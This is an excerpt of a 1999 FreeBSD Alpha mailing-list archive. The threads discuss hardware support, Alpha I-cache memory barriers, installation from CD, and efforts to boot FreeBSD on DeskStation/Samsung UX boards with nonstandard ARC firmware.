from calis.blacksun.org (Calis.blacksun.org [168.100.186.40]) by hub.freebsd.org (Postfix) with ESMTP id 42ECD14CFF for ; Sun, 25 Apr 1999 08:52:37 -0700 (PDT) (envelope-from don@calis.blacksun.org) Received: from localhost (don@localhost) by calis.blacksun.org (8.9.2/8.9.2) with ESMTP id LAA30997; Sun, 25 Apr 1999 11:54:19 -0400 (EDT) (envelope-from don@calis.blacksun.org) Date: Sun, 25 Apr 1999 11:54:19 -0400 (EDT) From: Don To: Ted Spradley Cc: freebsd-alpha@FreeBSD.ORG Subject: Re: sound on AS200 "Avanti"? In-Reply-To: <199904251544.KAA02569@set.spradley.tmi.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org > My AS200-4/233 came from OnSale.com last summer with a little "Windows > compatible sound" board with a Crystal CS4231A-KL chip. I added this to > my kernel config: To my knowledge this isnt supported yet because some DMA work still needs to be done in order to get those chipsets to work. -don To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Sun Apr 25 10:41:28 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from relay.nuxi.com (nuxi.cs.ucdavis.edu [169.237.7.38]) by hub.freebsd.org (Postfix) with ESMTP id 2FC1715396 for ; Sun, 25 Apr 1999 10:41:26 -0700 (PDT) (envelope-from obrien@NUXI.com) Received: from dragon.nuxi.com (d60-077.leach.ucdavis.edu [169.237.60.77]) by relay.nuxi.com (8.9.2/8.9.1) with ESMTP id KAA59743 for ; Sun, 25 Apr 1999 10:41:25 -0700 (PDT) (envelope-from obrien@dragon.nuxi.com) Received: (from obrien@localhost) by dragon.nuxi.com (8.9.3/8.9.1) id RAA51277 for alpha@freebsd.org; Sun, 25 Apr 1999 17:41:25 GMT (envelope-from obrien) Date: Sun, 25 Apr 1999 10:41:25 -0700 From: "David O'Brien" To: alpha@freebsd.org Subject: (FWD) _G_config.h has wrong _G_time_t on alphas Message-ID: <19990425104125.A51252@dragon.nuxi.com> Reply-To: obrien@NUXI.com Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.95.3i X-Operating-System: FreeBSD 4.0-CURRENT Organization: The NUXI BSD group X-PGP-Fingerprint: B7 4D 3E E9 11 39 5F A3 90 76 5D 69 58 D9 98 7A X-Pgp-Keyid: 34F9F9D5 Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org This from BDE. Someone closer to the issue might want to take an look and pass me diffs. ----- Forwarded message from Bruce Evans ----- time_t is int on alphas, but _G_time_t in libstdc++/_G_Config.h is long. Similarly for clock_t, except it braindamaged on alphas (int on alphas, unsigned long on i386's). ----- End forwarded message ----- -- -- David (obrien@NUXI.com -or- obrien@FreeBSD.org) To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Sun Apr 25 11: 5:52 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from herring.nlsystems.com (nlsys.demon.co.uk [158.152.125.33]) by hub.freebsd.org (Postfix) with ESMTP id 182CB150F8 for ; Sun, 25 Apr 1999 11:05:46 -0700 (PDT) (envelope-from dfr@nlsystems.com) Received: from localhost (dfr@localhost) by herring.nlsystems.com (8.9.3/8.8.8) with ESMTP id TAA33204; Sun, 25 Apr 1999 19:12:14 +0100 (BST) (envelope-from dfr@nlsystems.com) Date: Sun, 25 Apr 1999 19:12:14 +0100 (BST) From: Doug Rabson To: Dmitrij Tejblum Cc: freebsd-alpha@freebsd.org Subject: Re: "I-stream memory barrier" In-Reply-To: <199904251359.RAA02496@tejblum.dnttm.rssi.ru> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Sun, 25 Apr 1999, Dmitrij Tejblum wrote: > It looks to me that our pmap take alpha_pal_imb() wrong. Our pmap > apparently assume that I-cache like TLB is virtually indexed and > tagged with the ASN. So we call alpha_pal_imb() only when start new ASN > generation. NetBSD have completely different idea (I-cache is indexed > by the physical address?) and call alpha_pal_imb() in every second pmap > function. I suspect they are right... > > Comments? I'm pretty sure that I-cache lines are tagged with ASNs. The Linux kernel only calls imb() when it runs out of ASNs and if it didn't work properly, I doubt that a system could survive even a single threaded make world, let alone -j20. This is only relavent to user code since the ASNs are used to distinguish between different user address spaces. I don't think we properly flush the I-cache when kernel executable code changes which is an issue for KLD. Probably KLD should arrange for an IMB on the alpha by calling some machine dependant pmap function. -- Doug Rabson Mail: dfr@nlsystems.com Nonlinear Systems Ltd. Phone: +44 181 442 9037 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Sun Apr 25 11: 9:58 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from herring.nlsystems.com (nlsys.demon.co.uk [158.152.125.33]) by hub.freebsd.org (Postfix) with ESMTP id 5690A150F8 for ; Sun, 25 Apr 1999 11:09:55 -0700 (PDT) (envelope-from dfr@nlsystems.com) Received: from localhost (dfr@localhost) by herring.nlsystems.com (8.9.3/8.8.8) with ESMTP id TAA33261; Sun, 25 Apr 1999 19:16:28 +0100 (BST) (envelope-from dfr@nlsystems.com) Date: Sun, 25 Apr 1999 19:16:28 +0100 (BST) From: Doug Rabson To: William Cc: freebsd-alpha@freebsd.org Subject: Re: silo overflows...... In-Reply-To: <199904251405.HAA02369@mail.cybcon.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Sun, 25 Apr 1999, William wrote: > I have been out of the loop for a couple days.....did anyone ever come up > with a "quick fix" for the silo overflows when useing an external modem on > com1? I tried lowering the baud rate all the way down to 19200 and still > had the same problem. I'm starting to think that something else is wrong with this. Its almost as if interrupts are not being delivered to the sio driver. The driver has a poll function which will read characters (I think) but not very often. As an experiment, could you put a print statement in siointr() to see if it ever gets entered. -- Doug Rabson Mail: dfr@nlsystems.com Nonlinear Systems Ltd. Phone: +44 181 442 9037 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Sun Apr 25 21:14:25 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from mail.cybcon.com (mail.cybcon.com [205.147.64.46]) by hub.freebsd.org (Postfix) with ESMTP id A223E14CC9 for ; Sun, 25 Apr 1999 21:14:23 -0700 (PDT) (envelope-from wwoods@cybcon.com) Received: from william (usr1-26.cybcon.com [205.147.76.27]) by mail.cybcon.com (8.9.0/8.9.0) with SMTP id VAA12323 for ; Sun, 25 Apr 1999 21:14:22 -0700 (PDT) From: "William Woods" To: "FreeBSD Alpha" Subject: DROM install of Alpha...... Date: Sun, 25 Apr 1999 21:14:12 -0700 Message-ID: <000301be8f9b$3d429870$1b4c93cd@william> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook 8.5, Build 4.71.2173.0 Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3110.3 Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org OK, I just bought the 3.1 CD with the Alpha distro on it. I know the floppy images are broken, I am useing the 4.0 snap images on the web. My question is this, I know how to change the distro name in options from 4.0snap to 3.1, but the alpha stuff is on the 2nd cd in /releases/alpha/3 , hoow do I point /stand/sysinstall to install from that directory. Thanks, William To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Sun Apr 25 23:18:15 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from Sisyphos.MI.Uni-Koeln.DE (Sisyphos.MI.Uni-Koeln.DE [134.95.212.10]) by hub.freebsd.org (Postfix) with ESMTP id 268E014F5C; Sun, 25 Apr 1999 23:17:36 -0700 (PDT) (envelope-from se@dialup124.zpr.uni-koeln.de) Received: from dialup124.zpr.Uni-Koeln.DE (dialup124.zpr.Uni-Koeln.DE [134.95.219.124]) by Sisyphos.MI.Uni-Koeln.DE (8.8.7/8.8.7) with ESMTP id LAA23614; Sun, 25 Apr 1999 11:33:06 +0200 (MET DST) Received: (from se@localhost) by dialup124.zpr.Uni-Koeln.DE (8.9.3/8.6.9) id LAA00535; Sun, 25 Apr 1999 11:31:55 +0200 (CEST) Date: Sun, 25 Apr 1999 11:31:55 +0200 From: Stefan Esser To: Doug Rabson Cc: Rich Payne , "Jordan K. Hubbard" , Alpha List , "Daniel J. Frasnelli" , Stefan Esser Subject: Re: your mail Message-ID: <19990425113155.A424@dialup124.mi.uni-koeln.de> Reply-To: se@freebsd.org References: Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-Mailer: Mutt 0.95.4i In-Reply-To: ; from Doug Rabson on Sat, Apr 24, 1999 at 03:28:12PM +0100 Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On 1999-04-24 15:28 +0100, Doug Rabson wrote: > On Sat, 24 Apr 1999, Rich Payne wrote: > > > The particular problem which I have with the Samsung board is that its > > > firmware is not AlphaBIOS but instead is a modified ARC style system. I > > > need information on what specific differences the Samsung firmware > > > programming interface has compared to Digital's AlphaBIOS firmware. My > > > test programs which work on AlphaBIOS do not work with the Samsung > > > firmware. I believe that Linux also needs a specially modified version of > > > their loader for this board. > > > > Which Samsung board? > > It was the UX board as far as I know. I bought a number of Samsung UX boards (aka DeskStation Ruffian). These boards were the test base when I tried to get the first step of ARC booting of FreeBSD going (based on work by Doug and others). Anyway, my finding was, that I could only call ARC functions that take no arguments (or at least no arguments that are pointers to the actual data to be passed). I quickly came to a state where I could Halt or Reboot the system by executing a program compiled with gcc under FreeBSD (and fixed-up to conform to the EXE format expected by ARCSBIOS). But even writing a single character to STDOUT failed. this is definitely a result of the BIOS supplied with the "Ruffian" not being ARC compliant. Even the pre-compiled sample binaries that come with the ARC Developers Kit don´t work ... Since I had a little spare time a few months back, I looked at both the NT boot disk that came with the main-boards and the Linux boot disk available from some web site (should have a bookmark somewhere). Both these binaries do call Vendor functions outside the range that is specified in the ARC BIOS document. Arguments passed appear to be arrays of NOOP functions, which take no argument and either return (int) 0 or (void) ... I tried to re-code that initialization sequence in C and have it go before a call of Write(), but with no success. There must be more that I missed, but the code is not easy to follow. (I only used objdump to disassemble the binaries, and the split loading of 32bit constants and addresses does not really make things easier, especially if there are tens of instruction in between ;-) If somebody is interested, I can supply: 1) The binaries I tried to analyze 2) Annotated objdump output > > The specially modified loader you are talking about is ldmilo.exe (instead > > of linload.exe). I don't know if the source is available for that, > > presumably DeskStation still holds the copyright. So it would be best to > > take it up with them. Ahh, yes, ldmilo.exe is one of the two binaries I looked at ... The code I talked about (apparent calls to init functions at undefined vendor vector positions) is not identical but quite similar in both the NT loader and ldmilo.exe. > Since I wasn't the person trying to get things working on this board (it > was Stefan Esser ), I don't know exactly what the firmware > looks like. According to Stefan, it had a completely different look and > feel from AlphaBIOS though. The Samsung UX boots into a setup screen that is quite different from that of an AlphaBios based system. Even the BIOS upgrade functions and required data formats are completely different (not that I think it is a good idea to flash a DEC BIOS on a DeskStation main-board anyway ;-) > I believe that Stefan contacted both Samsung and DeskStation to try to get > programming information with no luck. I think Samsung asked for an NDA and > I'm not sure if DeskStation even replied. Stefan would know for sure; > since I don't think he reads this list, I have Cc'ed him. No, I don't think I'm on the Alpha list, but I guess I should ... I just returned from a vacation, last week, and sent another mail to Samsung and a first one to DeskStation tech-support. Neither of them replied, but it has only been a few days, since. In my first mail to Samsung I had mentioned FreeBSD, but in my mail to DeskStation I just asked about a way to get ADK compliant binaries loaded in an "embedded environment". Seems that many vendors do not consider Linux to be commercially interesting, now, but have no plans at all to support other "open software" projects. And in the case of DeskStation I'm quite sure, that even the sources to ldmilo.exe are considered "confidential" and have not been published. But the required additional startup code could be part of a modified ADK they use, and thus there might be no visible changes to the boot loader. It will just require that (DeskStation private) version of the ADK ... Anyway, I think that the UX is a well designed board (though there was rumour of stability problems in a news-group that I searched for articles that mentioned "Ruffian"). We should be able to support that board and its BIOS (well, I have to ;-) I think we can reverse engineer the missing information from available information (especially ldmilo.exe) and get the ARC start-up code to do the right thing with the UX (i.e. identify it through ARC data structures and only try to invoke the additional code for the UX). Is there any good disassembler (better than objdump. at least ;-) I already spent to much time over the silly output generated by objdump, but might be talked into trying again, if there is a tool that provides me with text that looks more like Alpha Assembler than like GDB output ... Only question is, who can and should do the reverse engineering, mostly for legal reasons. In the EC there is a very strict law against disassembly of code (simplified statement, I know), except for the case, where this is required to "interface to own products". Well, and that appears to be the case here ;-) But the problem with EC law is, that you are not allowed to publish the results of reverse engineering, just use it with your particular product. And that seems to be a problem, if we want to publish sources that are based on the results of reverse engineering. (Not surprisingly, it was the big hardware and software vendors that demanded that ruling.) (I'm no lawyer, correct me if I'm wrong. But it looks like there might be better places in the world, at least as locations for a reverse-engineering project.) I'm currently busy to get all the paper work done for my project, which will keep me busy for another few weeks. (The company just got bought by its biggest competitor, twice our size, and things may change very quickly now. I have got to convince the new management that the project is still worthwhile, and that will require a lot of heavy documents, nobody is ever going to read ;-) Regards, STefan To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Sun Apr 25 23:18:22 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from Sisyphos.MI.Uni-Koeln.DE (Sisyphos.MI.Uni-Koeln.DE [134.95.212.10]) by hub.freebsd.org (Postfix) with ESMTP id 776F815001; Sun, 25 Apr 1999 23:17:36 -0700 (PDT) (envelope-from se@dialup124.zpr.uni-koeln.de) Received: from dialup124.zpr.Uni-Koeln.DE (dialup124.zpr.Uni-Koeln.DE [134.95.219.124]) by Sisyphos.MI.Uni-Koeln.DE (8.8.7/8.8.7) with ESMTP id LAA23626; Sun, 25 Apr 1999 11:39:29 +0200 (MET DST) Received: (from se@localhost) by dialup124.zpr.Uni-Koeln.DE (8.9.3/8.6.9) id LAA00544; Sun, 25 Apr 1999 11:38:19 +0200 (CEST) Date: Sun, 25 Apr 1999 11:38:19 +0200 From: Stefan Esser To: Warner Losh Cc: Doug Rabson , Rich Payne , "Jordan K. Hubbard" , Alpha List , "Daniel J. Frasnelli" , Stefan Esser Subject: Re: your mail Message-ID: <19990425113819.B424@dialup124.mi.uni-koeln.de> Reply-To: se@freebsd.org References: <199904250516.XAA03559@harmony.village.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.95.4i In-Reply-To: <199904250516.XAA03559@harmony.village.org>; from Warner Losh on Sat, Apr 24, 1999 at 11:16:18PM -0600 Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On 1999-04-24 23:16 -0600, Warner Losh wrote: > Good luck getting information out of DeskStation. They tend to swing > from being almost a little helpful to being completely unhelpful and > unresponsive. They provided me with almost no help in the way of > specs and the like for the rPC44 port of OpenBSD/Linux I did. > However, the support they did give me was enough to get things up and > crawling. I'll give you the entire sum of the support: > The ISA bus is memory mapped at 0xa0000000. The ISA ports > are memory mapped at 0xb0000000. It is basically a PC MOBO > with a mips processor bolted on. Well, we are not asking for information at the hardware level. Just for the correct sequence of initialization calls to their version of ARCSBIOS. But I'm afraid you are right and we won't get any information from them. (Well, I tried anyway.) > I had no better luck calling them directly. However, they say on > their website they support Linux, and are looking for a Linux OS > engineer (but they have been looking for at least the past year, so > maybe their website is on auto-pilot). At least there appears to be no active development going on at their site. The current BIOS revision (1.3.061.0) does not work with disk driver > 8Gb (it ignores any space beyond that), for example. The dates of the BIOS images they make available indicate, that development stopped one year ago. > Ironically, I did get mail from them asking me for help installing > OpenBSD/arc on their systems! After giving them the help, I never > heard back from them. I don't think the person who I was working with > is there anymore. Hmmm, but that person might be able to give a hint at whom to ask for information regarding the ARCSBIOS changes relative to DEC's. Regards, STefan To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Mon Apr 26 0:37:15 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from mail.cybcon.com (mail.cybcon.com [205.147.64.46]) by hub.freebsd.org (Postfix) with ESMTP id 5CBAD1505A for ; Mon, 26 Apr 1999 00:37:14 -0700 (PDT) (envelope-from wwoods@cybcon.com) Received: from william (usr1-31.cybcon.com [205.147.76.32]) by mail.cybcon.com (8.9.0/8.9.0) with SMTP id AAA20997 for ; Mon, 26 Apr 1999 00:37:12 -0700 (PDT) From: "William Woods" To: "FreeBSD Alpha" Subject: Installing alpha port from 3.1 CDROM....... Date: Mon, 26 Apr 1999 00:37:02 -0700 Message-ID: <000001be8fb7$936353e0$204c93cd@william> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook 8.5, Build 4.71.2173.0 Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3110.3 Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org OK, I just bought the 3.1 CD with the Alpha distro on it. I know the floppy images are broken, I am useing the 4.0 snap images on the web. My question is this, I know how to change the distro name in options from 4.0snap to 3.1, but the alpha stuff is on the 2nd cd in /releases/alpha/3 , hoow do I point /stand/sysinstall to install from that directory. Thanks, William To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Mon Apr 26 2:35:50 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from herring.nlsystems.com (nlsys.demon.co.uk [158.152.125.33]) by hub.freebsd.org (Postfix) with ESMTP id C210B14C21 for ; Mon, 26 Apr 1999 02:35:46 -0700 (PDT) (envelope-from dfr@nlsystems.com) Received: from localhost (dfr@localhost) by herring.nlsystems.com (8.9.3/8.8.8) with ESMTP id KAA34851; Mon, 26 Apr 1999 10:34:53 +0100 (BST) (envelope-from dfr@nlsystems.com) Date: Mon, 26 Apr 1999 10:34:53 +0100 (BST) From: Doug Rabson To: William Woods Cc: FreeBSD Alpha Subject: Re: Installing alpha port from 3.1 CDROM....... In-Reply-To: <000001be8fb7$936353e0$204c93cd@william> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Mon, 26 Apr 1999, William Woods wrote: > OK, I just bought the 3.1 CD with the Alpha distro on it. I know the floppy > images are broken, I am useing the 4.0 snap images on the web. My question > is this, I know how to change the distro name in options from 4.0snap to > 3.1, but the alpha stuff is on the 2nd cd in /releases/alpha/3 , hoow do I > point /stand/sysinstall to install from that directory. You need to go to the options screen and set the 'Release Name' to '3.1-RELEASE'. The install program should pick up the files from the right place automatically (I just tried this with my 3.1-RELEASE CD set and it worked with a locally built snapshot dated 19990221). -- Doug Rabson Mail: dfr@nlsystems.com Nonlinear Systems Ltd. Phone: +44 181 442 9037 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Mon Apr 26 6:19: 5 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from master.telia.net (master.telia.net [194.237.170.70]) by hub.freebsd.org (Postfix) with ESMTP id 60BC8151C1 for ; Mon, 26 Apr 1999 06:18:42 -0700 (PDT) (envelope-from joonas@w-arts.com) Received: from w-arts.com (host11-ncc.telia.net [62.20.126.11]) by master.telia.net (8.9.1/8.9.1) with ESMTP id PAA00888; Mon, 26 Apr 1999 15:27:19 GMT Message-ID: <37246677.1313FA73@w-arts.com> Date: Mon, 26 Apr 1999 15:13:27 +0200 From: Joonas Tizihssane Organization: W.Arts X-Mailer: Mozilla 4.08 [en] (X11; I; FreeBSD 2.2.8-STABLE i386) MIME-Version: 1.0 To: Doug Rabson , freebsd-alpha@freebsd.org Subject: Re: your mail References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org i found the source for the linux milo on ftp://gatekeeper.dec.com/pub/DEC/Linux-Alpha/ and there was a readme file that someone at digital had written that it should be compiled in a C compiler in WinNT, unfortunantly the hd that i had it on crashed... i've looked abit for the source but haven't found it again... maybe you got better luck finding it.. Doug Rabson wrote: > On Sat, 24 Apr 1999, Rich Payne wrote: > > > > I am confused. I have come fairly good documentation for AlphaBIOS > > > (basically the mips ARC docs and a couple of files listing alpha function > > > numbers). I found this by following links from the source to linload.exe > > > which lives at ftp://ftp.europe.digital.com/pub/DEC/Linux-Alpha/linload/. > > > I already have enough information on Digital's AlphaBIOS firmware to build > > > test programs which work. > > > > Yup, the original MIPS spec is available, I even put it up on > > ftp.alphalinux.org for people to get access to. > > > > > The particular problem which I have with the Samsung board is that its > > > firmware is not AlphaBIOS but instead is a modified ARC style system. I > > > need information on what specific differences the Samsung firmware > > > programming interface has compared to Digital's AlphaBIOS firmware. My > > > test programs which work on AlphaBIOS do not work with the Samsung > > > firmware. I believe that Linux also needs a specially modified version of > > > their loader for this board. > > > > Which Samsung board? > > It was the UX board as far as I know. > > > > > > Why on earth didn't Samsung just use AlphaBIOS. It is bizarre that they > > > felt the need to invent their own firmware and even managed to change the > > > api so that it is incompatible. > > > > Samsung does use AlphaBIOS. Are you talking about the UX board? The UX was > > not designed by Samsung. It was designed by DeskStation. Samsung just > > produces > > the board now. As far as I know the ARCS BIOS is used in the UX and only > > the UX, and I don't think there are any plans for it to go on any boards, > > unless DeskStation decides to design another. > > > > The specially modified loader you are talking about is ldmilo.exe (instead > > of linload.exe). I don't know if the source is available for that, > > presumably DeskStation still holds the copyright. So it would be best to > > take it up with them. > > Since I wasn't the person trying to get things working on this board (it > was Stefan Esser ), I don't know exactly what the firmware > looks like. According to Stefan, it had a completely different look and > feel from AlphaBIOS though. > > I believe that Stefan contacted both Samsung and DeskStation to try to get > programming information with no luck. I think Samsung asked for an NDA and > I'm not sure if DeskStation even replied. Stefan would know for sure; > since I don't think he reads this list, I have Cc'ed him. > > -- > Doug Rabson Mail: dfr@nlsystems.com > Nonlinear Systems Ltd. Phone: +44 181 442 9037 > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-alpha" in the body of the message /Joonas... -- I stand accused and confused but refuse to confess... To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Mon Apr 26 13:25:36 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from arc.hq.cti.ru (arc.hq.cti.ru [195.34.40.3]) by hub.freebsd.org (Postfix) with ESMTP id 9264A153C1 for ; Mon, 26 Apr 1999 13:25:30 -0700 (PDT) (envelope-from tejblum@arc.hq.cti.ru) Received: from arc.hq.cti.ru (localhost [127.0.0.1]) by arc.hq.cti.ru (8.9.2/8.9.0) with ESMTP id AAA38299; Tue, 27 Apr 1999 00:24:55 +0400 (MSD) Message-Id: <199904262024.AAA38299@arc.hq.cti.ru> X-Mailer: exmh version 2.0zeta 7/24/97 To: Doug Rabson Cc: Dmitrij Tejblum , freebsd-alpha@freebsd.org Subject: Re: "I-stream memory barrier" In-reply-to: Your message of "Sun, 25 Apr 1999 19:12:14 BST." Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Tue, 27 Apr 1999 00:24:55 +0400 From: Dmitrij Tejblum Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org > I'm pretty sure that I-cache lines are tagged with ASNs. The Linux kernel > only calls imb() when it runs out of ASNs Well, you are right, even comments in the NetBSD pmap say so. Nevertheles, they call alpha_pal_imb() a lot - there should be a reason for that. Also, take a look at Linux' ev5_flush_tlb_current_page() - it flush whole ASN when it have to flush something executable, rather than do a TBIS. > and if it didn't work properly, > I doubt that a system could survive even a single threaded make world, let > alone -j20. This is not very convincing :-). I have seen as single threaded make world fail mysteriously. (That is exactly why I started to look at the issue :-). Dima To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Mon Apr 26 13:55:18 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from lestat.nas.nasa.gov (lestat.nas.nasa.gov [129.99.50.29]) by hub.freebsd.org (Postfix) with ESMTP id 5A72E14FD6 for ; Mon, 26 Apr 1999 13:54:52 -0700 (PDT) (envelope-from thorpej@lestat.nas.nasa.gov) Received: from lestat (localhost [127.0.0.1]) by lestat.nas.nasa.gov (8.8.8/8.6.12) with ESMTP id NAA11457; Mon, 26 Apr 1999 13:53:53 -0700 (PDT) Message-Id: <199904262053.NAA11457@lestat.nas.nasa.gov> To: Dmitrij Tejblum Cc: Doug Rabson , Dmitrij Tejblum , freebsd-alpha@FreeBSD.ORG Subject: Re: "I-stream memory barrier" Reply-To: Jason Thorpe From: Jason Thorpe Date: Mon, 26 Apr 1999 13:53:53 -0700 Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Tue, 27 Apr 1999 00:24:55 +0400 Dmitrij Tejblum wrote: > > I'm pretty sure that I-cache lines are tagged with ASNs. The Linux kernel > > only calls imb() when it runs out of ASNs > > Well, you are right, even comments in the NetBSD pmap say so. Nevertheles, > they call alpha_pal_imb() a lot - there should be a reason for that. > Also, take a look at Linux' ev5_flush_tlb_current_page() - it flush whole ASN > when it have to flush something executable, rather than do a TBIS. Considering how I wrote a fairly significant portion of the NetBSD/alpha pmap, I think I can speak with some authority here :-) You'll note my comment about Address Space Numbers: /* * Address Space Numbers. * * On many implementations of the Alpha architecture, the TLB entries and * I-cache blocks are tagged with a unique number within an implementation- * specified range. When a process context becomes active, the ASN is used . . . */ `On many implementations', not on all. Even though I know the I-cache layout on the 21164, I didn't allow my pmap module to make any assumptions based on that knowledge (I even ignored how IMB is implemented in the 21164 PALcode :-). The architecture manual states that an IMB should be done whenever the mapping for the I-stream changes. This is in the IMB PALcode op description. I optimize out unnecessary IMBs on unmap by tracking VM_PROT_EXECUTE in a software PTE bit. Also note section 5.6.4.4 regarding the I-stream in the presence of multiple processors (in this case, it includes I/O processors, i.e. DMA engines on devices). The way paging and COW are done in UVM (the NetBSD virtual memory system) handles this case. Basically, the NetBSD/alpha pmap is written to the architecture manual, not to any specific processor manual, and will therefore Just Work with any Alpha processor implementation. And, modulo a silly optimization error I made in modified/referenced emulation, the NetBSD/alpha pmap has proven to be very stable. -- Jason R. Thorpe To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Mon Apr 26 15:40:38 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from mail.cybcon.com (mail.cybcon.com [205.147.64.46]) by hub.freebsd.org (Postfix) with ESMTP id BF68A154E8 for ; Mon, 26 Apr 1999 15:40:32 -0700 (PDT) (envelope-from wwoods@cybcon.com) Received: from william (usr1-11.cybcon.com [205.147.76.12]) by mail.cybcon.com (8.9.0/8.9.0) with SMTP id PAA02911 for ; Mon, 26 Apr 1999 15:40:30 -0700 (PDT) From: "William Woods" To: "FreeBSD Alpha" Subject: Problems on a new install of Alpha FreeBSD Date: Mon, 26 Apr 1999 15:40:20 -0700 Message-ID: <000001be9035$c4124270$0c4c93cd@william> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook 8.5, Build 4.71.2173.0 Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3110.3 Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org OK, I just finished installing FreeBSD Alpha, I go to boot useing "boot -fl a dka0" to boot off my scsi drive, all goes well till I get this.... .: out of file descriptors Enter full pathname of shell or RETURN for /bin/sh: What is up with this, I though the command "boot -fl a dka0" would boot me into multi-user mode and whats with the "out of file descriptors" message? William To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Mon Apr 26 15:49:42 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from dingo.cdrom.com (dingo.cdrom.com [204.216.28.145]) by hub.freebsd.org (Postfix) with ESMTP id 642EA14CCA for ; Mon, 26 Apr 1999 15:49:39 -0700 (PDT) (envelope-from mike@dingo.cdrom.com) Received: from dingo.cdrom.com (localhost.cdrom.com [127.0.0.1]) by dingo.cdrom.com (8.9.3/8.8.8) with ESMTP id PAA01428; Mon, 26 Apr 1999 15:48:20 -0700 (PDT) (envelope-from mike@dingo.cdrom.com) Message-Id: <199904262248.PAA01428@dingo.cdrom.com> X-Mailer: exmh version 2.0.2 2/24/98 To: "William Woods" Cc: "FreeBSD Alpha" Subject: Re: Problems on a new install of Alpha FreeBSD In-reply-to: Your message of "Mon, 26 Apr 1999 15:40:20 PDT." <000001be9035$c4124270$0c4c93cd@william> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Mon, 26 Apr 1999 15:48:20 -0700 From: Mike Smith Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org > OK, I just finished installing FreeBSD Alpha, I go to boot useing "boot -fl > a dka0" to boot off my scsi drive, all goes well till I get this.... > > .: 